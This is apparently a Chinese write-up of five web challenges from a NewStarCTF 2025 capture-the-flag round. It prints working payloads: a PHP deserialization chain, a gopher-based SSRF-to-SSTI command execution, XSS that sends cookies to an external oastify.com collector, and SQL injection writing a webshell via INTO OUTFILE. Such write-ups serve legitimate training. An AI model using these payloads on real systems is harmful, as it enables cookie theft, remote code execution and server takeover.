NewStarCTF2025-Week4-Web

目录

1、小羊走迷宫

2、武功秘籍

3、ssti在哪里?

4、小E的留言板

5、Sqlupload


1、小羊走迷宫

简单 php 反序列化,构造 pop 链即可

主要就是对保护变量的访问吧,这里采用新增一个类的公有方法实现

Exp:

php 复制代码
<?php
include "flag.php";
error_reporting(0);
class startPoint{
    public $direction;
    function __wakeup(){
        echo "gogogo出发咯 ";
        $way = $this->direction;
        return $way();
    }
}
class Treasure{
    protected $door;
    protected $chest;
    function __get($arg){
        echo "拿到钥匙咯,开门! ";
        $this -> door -> open();
    }
    function __toString(){
        echo "小羊真可爱! ";
        return $this -> chest -> key;
    }
    public function setWord1($newWord1)
    {
        $this->door = $newWord1;
    }
    public function setWord2($newWord2)
    {
        $this->chest = $newWord2;
    }
}
class SaySomething{
    public $sth;
    function __invoke()
    {
        echo "说点什么呢 ";
        return "说: ".$this->sth;
    }
}
class endPoint{
    private $path = 'flag.php';
    function __call($arg1,$arg2){
        echo "到达终点!现在尝试获取flag吧"."<br>";
        echo file_get_contents($this->path);
    }
}
$e = new endPoint();
$t = new Treasure();
$t->setWord1($e);
$tt = new Treasure();
$tt->setWord2($t);
$s = new SaySomething();
$s->sth = $tt;
$p = new startPoint();
$p->direction = $s;
echo base64_encode(serialize($p));

然后是对非法参数名的绕过,php8之前遇到中括号会被转成下划线,但是只转一次,从而保留后面的非法参数名点

payload:

php 复制代码
?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7TjtzOjg6IgAqAGNoZXN0IjtPOjg6IlRyZWFzdXJlIjoyOntzOjc6IgAqAGRvb3IiO086ODoiZW5kUG9pbnQiOjE6e3M6MTQ6IgBlbmRQb2ludABwYXRoIjtzOjg6ImZsYWcucGhwIjt9czo4OiIAKgBjaGVzdCI7Tjt9fX19

2、武功秘籍

在页面随便点了下跳转到后台登录界面,存在弱口令:admin/admin

存在文件上传点

简单的文件类型绕过

找到木马路径

调用

3、ssti在哪里?

存在 ssrf

因为是 flask 服务,我们直接读源码

将 name 接受的东西给到了 template,感觉有 SSTI,结合题目意思那多半就是有了

用 gopher 协议打

先看了下根目录,未见 flag

当前目录也没有

读了下这个 internal_web.py,确实存在 SSTI 注入

Flag 在环境变量,payload:

php 复制代码
url=gopher://127.0.0.1:5000/_GET%2520%252F%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252056%250A%250Aname%253D%257B%257Blipsum.__globals__%255B'os'%255D%255B'popen'%255D('env').read()%257D%257D

4、小E的留言板

随便注册一个账户进去就可以留言

过滤了尖括号,还有一些关键词可以双写绕过

php 复制代码
" oonnmouseover ="alert(1)
php 复制代码
" oonnmouseover ="alert(document.cookie)

"oonnmouseover="new Image().src='http://qf9t9vv2gq2vm2q9jostpeivwm2dq8ex.oastify.com/?a=' +encodeURICompoonnent(document.cookie)

可以接收到当前的 cookie,但是报告留言小 e 的不行,因为我们目前的 payload 需要手动触发(鼠标悬停)

换个写法

php 复制代码
"autofofocuscus oonnfofocuscus="new Image().src='http://y321x3ja4yq3aaeh7wg1dm63kuqlei27.oastify.com/?a='+encodeURICompoonnent(document.cookie)

报告留言即可

5、Sqlupload

问题在 getFileList.php,检查不严谨

我们可以控制 order 参数将 filename 写入到文件

通过抓包传一个文件名是一句话木马的东西上去

调用 getFileList.php,payload:

php 复制代码
?order=upload_time INTO OUTFILE '/var/www/html/1.php'

木马确实写进去了,但是无法读取 /flag

flag 需要 root 用户,但是 readFlag 其他用户也可以执行

运行程序将结果重定向即可

相关推荐
光影少年7 分钟前
web端安全问题有哪些?
前端·安全
小小测试开发32 分钟前
SQL常用语法全解析:从入门到进阶的实战指南
数据库·sql
测试人社区-千羽1 小时前
AR/VR应用测试核心要点与实施策略
人工智能·安全·职场和发展·自动驾驶·测试用例·ar·vr
星瞰物联2 小时前
融合北斗与天通卫星通信技术的堤坝水文监测卫星图传系统
网络·物联网·安全·系统架构
Hello.Reader2 小时前
Flink SQL EXPLAIN “看懂计划”到“用 PLAN_ADVICE 调优”
大数据·sql·flink
前端不太难2 小时前
RN Hooks 设计规范与反模式清单
开发语言·php·设计规范
Neolnfra2 小时前
RCE(远程命令执行)漏洞全解析:从原理到实战
安全·web安全·http·网络安全·https·系统安全·可信计算技术
+电报dapp1292 小时前
以太坊完成合并后,区块链世界究竟迎来了怎样的改变?
安全·去中心化·区块链·智能合约·零知识证明
墨夶2 小时前
交易所安全保卫战:从冷钱包到零知识证明,让黑客连边都摸不着!
java·安全·区块链·零知识证明